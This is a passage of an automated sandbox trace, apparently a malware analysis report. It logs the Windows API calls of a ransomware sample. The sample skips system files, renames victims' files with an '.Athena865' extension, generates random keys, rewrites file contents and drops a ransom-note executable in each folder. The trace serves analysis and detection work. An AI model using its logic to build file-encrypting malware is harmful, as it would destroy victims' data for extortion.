(lpString="adf") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0046.334] lstrlenW (lpString="adn") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0046.334] lstrlenW (lpString="adp") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0046.334] lstrlenW (lpString="alf") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0046.334] lstrlenW (lpString="ask") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0046.334] lstrlenW (lpString="btr") returned 3 [0046.334] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0046.335] lstrlenW (lpString="cat") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0046.335] lstrlenW (lpString="cdb") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0046.335] lstrlenW (lpString="ckp") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0046.335] lstrlenW (lpString="cma") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0046.335] lstrlenW (lpString="cpd") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0046.335] lstrlenW (lpString="dacpac") returned 6 [0046.335] lstrcmpiW (lpString1="ce.exe", lpString2="dacpac") returned -1 [0046.335] lstrlenW (lpString="dad") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0046.335] lstrlenW (lpString="dadiagrams") returned 10 [0046.335] lstrcmpiW (lpString1="ervice.exe", lpString2="dadiagrams") returned 1 [0046.335] lstrlenW (lpString="daschema") returned 8 [0046.335] lstrcmpiW (lpString1="vice.exe", lpString2="daschema") returned 1 [0046.335] lstrlenW (lpString="db-journal") returned 10 [0046.335] lstrcmpiW (lpString1="ervice.exe", lpString2="db-journal") returned 1 [0046.335] lstrlenW (lpString="db-shm") returned 6 [0046.335] lstrcmpiW (lpString1="ce.exe", lpString2="db-shm") returned -1 [0046.335] lstrlenW (lpString="db-wal") returned 6 [0046.335] lstrcmpiW (lpString1="ce.exe", lpString2="db-wal") returned -1 [0046.335] lstrlenW (lpString="dbc") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0046.335] lstrlenW (lpString="dbs") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0046.335] lstrlenW (lpString="dbt") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0046.335] lstrlenW (lpString="dbv") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0046.335] lstrlenW (lpString="dbx") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0046.335] lstrlenW (lpString="dcb") returned 3 [0046.335] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0046.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.Athena865") returned 83 [0046.336] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe.athena865"), dwFlags=0x1) returned 1 [0046.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.342] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=119408) returned 1 [0046.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0046.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.343] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.344] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.344] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.344] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d570, lpName=0x0) returned 0x17c [0046.345] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d570) returned 0x100000 [0046.354] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.355] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.355] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.356] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.357] CloseHandle (hObject=0x17c) returned 1 [0046.357] CloseHandle (hObject=0x154) returned 1 [0046.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0046.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.360] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="UNINST~1.EXE")) returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="windows") returned -1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="bootmgr") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="temp") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="pagefile.sys") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="boot") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="ids.txt") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="ntuser.dat") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="perflogs") returned 1 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2="MSBuild") returned 1 [0046.360] lstrlenW (lpString="Uninstall.exe") returned 13 [0046.360] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Uninstall.exe" | out: lpString1="Uninstall.exe") returned="Uninstall.exe" [0046.360] lstrlenW (lpString="Uninstall.exe") returned 13 [0046.360] lstrlenW (lpString="Athena865") returned 9 [0046.360] lstrcmpiW (lpString1="stall.exe", lpString2="Athena865") returned 1 [0046.360] lstrlenW (lpString=".dll") returned 4 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".dll") returned 1 [0046.360] lstrlenW (lpString=".lnk") returned 4 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".lnk") returned 1 [0046.360] lstrlenW (lpString=".ini") returned 4 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".ini") returned 1 [0046.360] lstrlenW (lpString=".sys") returned 4 [0046.360] lstrcmpiW (lpString1="Uninstall.exe", lpString2=".sys") returned 1 [0046.361] lstrlenW (lpString="Uninstall.exe") returned 13 [0046.361] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.Athena865") returned 74 [0046.361] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe.athena865"), dwFlags=0x1) returned 1 [0046.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.361] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=106212) returned 1 [0046.361] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0046.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.362] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.362] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.362] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.363] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a1f0, lpName=0x0) returned 0x17c [0046.364] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a1f0) returned 0x100000 [0046.371] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.372] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.372] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.373] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.374] CloseHandle (hObject=0x17c) returned 1 [0046.374] CloseHandle (hObject=0x154) returned 1 [0046.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0046.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.377] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2=".") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="..") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="windows") returned -1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="bootmgr") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="temp") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="pagefile.sys") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="boot") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="ids.txt") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="ntuser.dat") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="perflogs") returned 1 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2="MSBuild") returned 1 [0046.377] lstrlenW (lpString="updater.ini") returned 11 [0046.377] lstrcpyW (in: lpString1=0x241e8ae, lpString2="updater.ini" | out: lpString1="updater.ini") returned="updater.ini" [0046.377] lstrlenW (lpString="updater.ini") returned 11 [0046.377] lstrlenW (lpString="Athena865") returned 9 [0046.377] lstrcmpiW (lpString1="dater.ini", lpString2="Athena865") returned 1 [0046.377] lstrlenW (lpString=".dll") returned 4 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2=".dll") returned 1 [0046.377] lstrlenW (lpString=".lnk") returned 4 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2=".lnk") returned 1 [0046.377] lstrlenW (lpString=".ini") returned 4 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2=".ini") returned 1 [0046.377] lstrlenW (lpString=".sys") returned 4 [0046.377] lstrcmpiW (lpString1="updater.ini", lpString2=".sys") returned 1 [0046.377] lstrlenW (lpString="updater.ini") returned 11 [0046.377] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini.Athena865") returned 72 [0046.377] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini.athena865"), dwFlags=0x1) returned 1 [0046.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.379] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1245) returned 1 [0046.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0046.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.379] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.380] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.380] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.380] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x17c [0046.382] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0046.383] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.383] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.383] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.384] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.384] CloseHandle (hObject=0x17c) returned 1 [0046.384] CloseHandle (hObject=0x154) returned 1 [0046.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0046.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.386] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf82f540, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf82f540, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 0 [0046.386] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0046.386] ReleaseMutex (hMutex=0xec) returned 1 [0046.386] CloseHandle (hObject=0xec) returned 1 [0046.386] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Reference Assemblies" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0046.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528410 | out: hHeap=0x4f0000) returned 1 [0046.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9b8 | out: hHeap=0x4f0000) returned 1 [0046.386] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies") returned 43 [0046.386] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EE948B80B2B76AC9DE3B125CF81180B1") returned 0xec [0046.386] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0046.386] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies" [0046.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0046.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0046.387] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0046.387] GetLastError () returned 0x0 [0046.387] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0046.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0046.387] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0046.388] CloseHandle (hObject=0xf4) returned 1 [0046.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.388] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0046.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0046.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.388] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.388] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.388] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.388] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.388] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.388] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.388] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.388] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0046.388] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0046.388] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0046.388] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0046.389] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 